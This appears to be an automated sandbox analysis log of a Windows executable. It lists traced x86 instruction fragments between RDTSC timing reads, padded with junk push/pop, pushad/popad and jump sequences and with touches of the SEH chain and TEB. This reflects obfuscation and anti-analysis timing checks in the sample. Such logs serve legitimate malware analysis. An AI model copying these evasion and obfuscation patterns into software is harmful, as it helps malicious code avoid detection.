Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E00EA second address: 52E0123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A808h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F72A0D3A807h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0123 second address: 52E013B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72A05280F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E013B second address: 52E0158 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push FFFFFFFEh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov si, dx 0x00000013 mov cx, di 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0158 second address: 52E016B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72A05280EFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E016B second address: 52E016F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E016F second address: 52E0184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 396D5BACh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop eax 0x00000012 mov esi, edi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0184 second address: 52E01AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A804h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 3C3D429Ch 0x00000010 pushad 0x00000011 mov ebx, eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E01AA second address: 52E01AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E01AE second address: 52E01DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push 3C25EA8Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F72A0D3A7FAh 0x00000015 and esi, 4D636148h 0x0000001b jmp 00007F72A0D3A7FBh 0x00000020 popfd 0x00000021 push eax 0x00000022 pop edx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E01DD second address: 52E01F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72A05280F0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E01F1 second address: 52E01F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E01F5 second address: 52E024F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 4980C1FBh 0x0000000f jmp 00007F72A05280F7h 0x00000014 mov eax, dword ptr fs:[00000000h] 0x0000001a jmp 00007F72A05280F6h 0x0000001f nop 0x00000020 jmp 00007F72A05280F0h 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E024F second address: 52E0255 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0255 second address: 52E0272 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop esi 0x0000000f mov ax, di 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0272 second address: 52E02B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 mov ax, BAD1h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c sub esp, 18h 0x0000000f pushad 0x00000010 pushad 0x00000011 push esi 0x00000012 pop edx 0x00000013 mov ax, 8F4Bh 0x00000017 popad 0x00000018 jmp 00007F72A0D3A800h 0x0000001d popad 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F72A0D3A807h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E02B5 second address: 52E02FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, esi 0x0000000f pushfd 0x00000010 jmp 00007F72A05280F6h 0x00000015 xor ch, 00000048h 0x00000018 jmp 00007F72A05280EBh 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E02FF second address: 52E0322 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A809h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0322 second address: 52E032B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 7AECh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E032B second address: 52E0331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0331 second address: 52E0335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0335 second address: 52E034B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edi, 01CBE908h 0x00000011 mov dx, 8DB4h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E034B second address: 52E0351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0351 second address: 52E0355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0355 second address: 52E03C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov esi, edx 0x0000000c push edi 0x0000000d movzx ecx, di 0x00000010 pop edx 0x00000011 popad 0x00000012 xchg eax, esi 0x00000013 jmp 00007F72A05280F0h 0x00000018 xchg eax, edi 0x00000019 jmp 00007F72A05280F0h 0x0000001e push eax 0x0000001f pushad 0x00000020 pushad 0x00000021 mov dl, CCh 0x00000023 call 00007F72A05280F8h 0x00000028 pop ecx 0x00000029 popad 0x0000002a mov dx, 16E6h 0x0000002e popad 0x0000002f xchg eax, edi 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F72A05280EFh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E03C1 second address: 52E03DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A809h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E03DE second address: 52E03EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72A05280ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E03EE second address: 52E047A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [75AB4538h] 0x00000010 pushad 0x00000011 mov bh, cl 0x00000013 mov cx, dx 0x00000016 popad 0x00000017 xor dword ptr [ebp-08h], eax 0x0000001a jmp 00007F72A0D3A803h 0x0000001f xor eax, ebp 0x00000021 pushad 0x00000022 jmp 00007F72A0D3A805h 0x00000027 pushfd 0x00000028 jmp 00007F72A0D3A800h 0x0000002d and esi, 3B0FECD8h 0x00000033 jmp 00007F72A0D3A7FBh 0x00000038 popfd 0x00000039 popad 0x0000003a nop 0x0000003b pushad 0x0000003c mov edi, eax 0x0000003e mov cx, 7987h 0x00000042 popad 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F72A0D3A7FFh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E047A second address: 52E0480 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0480 second address: 52E04C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F72A0D3A802h 0x00000009 or al, FFFFFF98h 0x0000000c jmp 00007F72A0D3A7FBh 0x00000011 popfd 0x00000012 mov cx, 7B4Fh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 nop 0x0000001a jmp 00007F72A0D3A802h 0x0000001f lea eax, dword ptr [ebp-10h] 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E04C8 second address: 52E04CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E04CC second address: 52E04D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E04D2 second address: 52E04E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72A05280EBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E04E1 second address: 52E04E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E04E5 second address: 52E04FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov cl, 49h 0x00000013 mov eax, ebx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E04FB second address: 52E052F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A804h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-18h], esp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F72A0D3A807h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E052F second address: 52E056E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007F72A05280F3h 0x00000017 pop esi 0x00000018 mov di, 30BCh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E056E second address: 52E0617 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A802h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f pushad 0x00000010 call 00007F72A0D3A7FEh 0x00000015 call 00007F72A0D3A802h 0x0000001a pop eax 0x0000001b pop edx 0x0000001c mov di, si 0x0000001f popad 0x00000020 test ecx, ecx 0x00000022 pushad 0x00000023 mov dx, ax 0x00000026 movzx ecx, bx 0x00000029 popad 0x0000002a jns 00007F72A0D3A80Fh 0x00000030 pushad 0x00000031 mov di, ax 0x00000034 popad 0x00000035 add eax, ecx 0x00000037 jmp 00007F72A0D3A802h 0x0000003c mov ecx, dword ptr [ebp+08h] 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007F72A0D3A7FEh 0x00000046 adc cx, 6EF8h 0x0000004b jmp 00007F72A0D3A7FBh 0x00000050 popfd 0x00000051 mov dx, cx 0x00000054 popad 0x00000055 test ecx, ecx 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F72A0D3A801h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0617 second address: 52E0627 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72A05280ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D00C8 second address: 52D00CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D00CE second address: 52D00D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D00D4 second address: 52D00D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D00D8 second address: 52D00E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D00E4 second address: 52D015E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F72A0D3A804h 0x00000008 xor eax, 2071B6B8h 0x0000000e jmp 00007F72A0D3A7FBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov edx, eax 0x00000018 popad 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007F72A0D3A807h 0x00000022 pop eax 0x00000023 pushfd 0x00000024 jmp 00007F72A0D3A809h 0x00000029 or cl, FFFFFFB6h 0x0000002c jmp 00007F72A0D3A801h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D015E second address: 52D0183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F72A05280EDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02B2 second address: 52D02B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02B8 second address: 52D02F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov edx, eax 0x0000000d call 00007F72A05280EAh 0x00000012 mov ch, 89h 0x00000014 pop edi 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F72A05280EFh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02F6 second address: 52D02FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02FA second address: 52D0300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0300 second address: 52D0330 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A804h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F72A0D3A7FDh 0x00000012 pop ecx 0x00000013 mov ebx, 48B83C04h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D039B second address: 52D03AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72A05280EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D03AD second address: 52D03C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp-14h], edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D03C7 second address: 52D03CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D03CB second address: 52D03E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A807h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D03E6 second address: 52D0425 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F7310CB617Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F72A05280F8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0425 second address: 52D0434 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0434 second address: 52D0496 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov bl, ch 0x0000000f mov si, di 0x00000012 popad 0x00000013 lea eax, dword ptr [ebp-2Ch] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 movzx eax, di 0x0000001c pushfd 0x0000001d jmp 00007F72A05280F9h 0x00000022 add cx, 18F6h 0x00000027 jmp 00007F72A05280F1h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0496 second address: 52D0524 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, DCh 0x00000005 pushfd 0x00000006 jmp 00007F72A0D3A808h 0x0000000b or cl, 00000048h 0x0000000e jmp 00007F72A0D3A7FBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, esi 0x00000018 jmp 00007F72A0D3A806h 0x0000001d push eax 0x0000001e jmp 00007F72A0D3A7FBh 0x00000023 xchg eax, esi 0x00000024 jmp 00007F72A0D3A806h 0x00000029 nop 0x0000002a jmp 00007F72A0D3A800h 0x0000002f push eax 0x00000030 jmp 00007F72A0D3A7FBh 0x00000035 nop 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0524 second address: 52D0528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0528 second address: 52D052E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D052E second address: 52D0548 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F72A05280EDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0548 second address: 52D0570 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov al, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edi 0x0000000d mov ax, FB0Dh 0x00000011 pop esi 0x00000012 mov eax, edx 0x00000014 popad 0x00000015 xchg eax, ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F72A0D3A800h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D05A3 second address: 52D05A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D05A7 second address: 52D05C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A809h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D05C4 second address: 52C07A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F72A05280F4h 0x0000000f je 00007F7310CB6159h 0x00000015 xor eax, eax 0x00000017 jmp 00007F72A050181Ah 0x0000001c pop esi 0x0000001d pop edi 0x0000001e pop ebx 0x0000001f leave 0x00000020 retn 0004h 0x00000023 nop 0x00000024 sub esp, 04h 0x00000027 mov edi, eax 0x00000029 xor ebx, ebx 0x0000002b cmp edi, 00000000h 0x0000002e je 00007F72A05281F4h 0x00000034 call 00007F72A5206C77h 0x00000039 mov edi, edi 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007F72A05280EEh 0x00000042 sub ax, B578h 0x00000047 jmp 00007F72A05280EBh 0x0000004c popfd 0x0000004d popad 0x0000004e push ebp 0x0000004f pushad 0x00000050 mov eax, 17E85AA7h 0x00000055 mov eax, 13B5FA43h 0x0000005a popad 0x0000005b mov dword ptr [esp], ebp 0x0000005e jmp 00007F72A05280F6h 0x00000063 mov ebp, esp 0x00000065 jmp 00007F72A05280F0h 0x0000006a xchg eax, ecx 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F72A05280F7h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C07A6 second address: 52C07CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A809h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov bx, 9212h 0x0000000f push eax 0x00000010 push edx 0x00000011 mov eax, ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C07CD second address: 52C0807 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ecx 0x00000008 pushad 0x00000009 call 00007F72A05280F7h 0x0000000e push eax 0x0000000f pop edx 0x00000010 pop ecx 0x00000011 mov si, di 0x00000014 popad 0x00000015 mov dword ptr [ebp-04h], 55534552h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F72A05280EAh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0908 second address: 52D092C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A809h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D092C second address: 52D0930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0930 second address: 52D0934 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0934 second address: 52D093A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D093A second address: 52D0995 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A802h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F72A0D3A801h 0x00000010 pushfd 0x00000011 jmp 00007F72A0D3A800h 0x00000016 or cl, 00000078h 0x00000019 jmp 00007F72A0D3A7FBh 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 pushad 0x00000023 mov cx, bx 0x00000026 popad 0x00000027 mov eax, ebx 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0995 second address: 52D09B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F72A05280EEh 0x0000000a or al, 00000008h 0x0000000d jmp 00007F72A05280EBh 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
